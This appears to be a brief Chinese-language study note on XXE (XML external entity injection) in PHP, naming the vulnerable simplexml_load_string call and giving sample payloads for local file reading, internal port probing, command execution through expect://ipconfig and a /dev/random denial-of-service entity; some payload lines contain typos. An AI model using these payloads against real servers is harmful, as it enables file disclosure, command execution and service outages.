XXE漏洞

xml external entity injection外部实体注入

$xml = simplexml_load_string($data);//运行xml语句

危害：

<?xml version="1.0" encoding="utf-8"?><!doctype note[<!ENTITY xxe SYSTEM "file://E://in.txt">]><login>&xxe;</login>

<!ENITY xxe SYSTEM "http://127.0.0.1:3306">

如果端口未开放会出现报错

需要安装expect扩展

<?xml version="1.0" encoding="utf-8"?>

<!doctype note[

<!ENTITY xxe SYSTEM "expect://ipconfig">]>

<root>

</root>

内容膨胀占用大量内存

xxe炸弹，服务器中断

< !ENTITY bomb” file:///dev/random"I >]><msg>&bomb;</msg>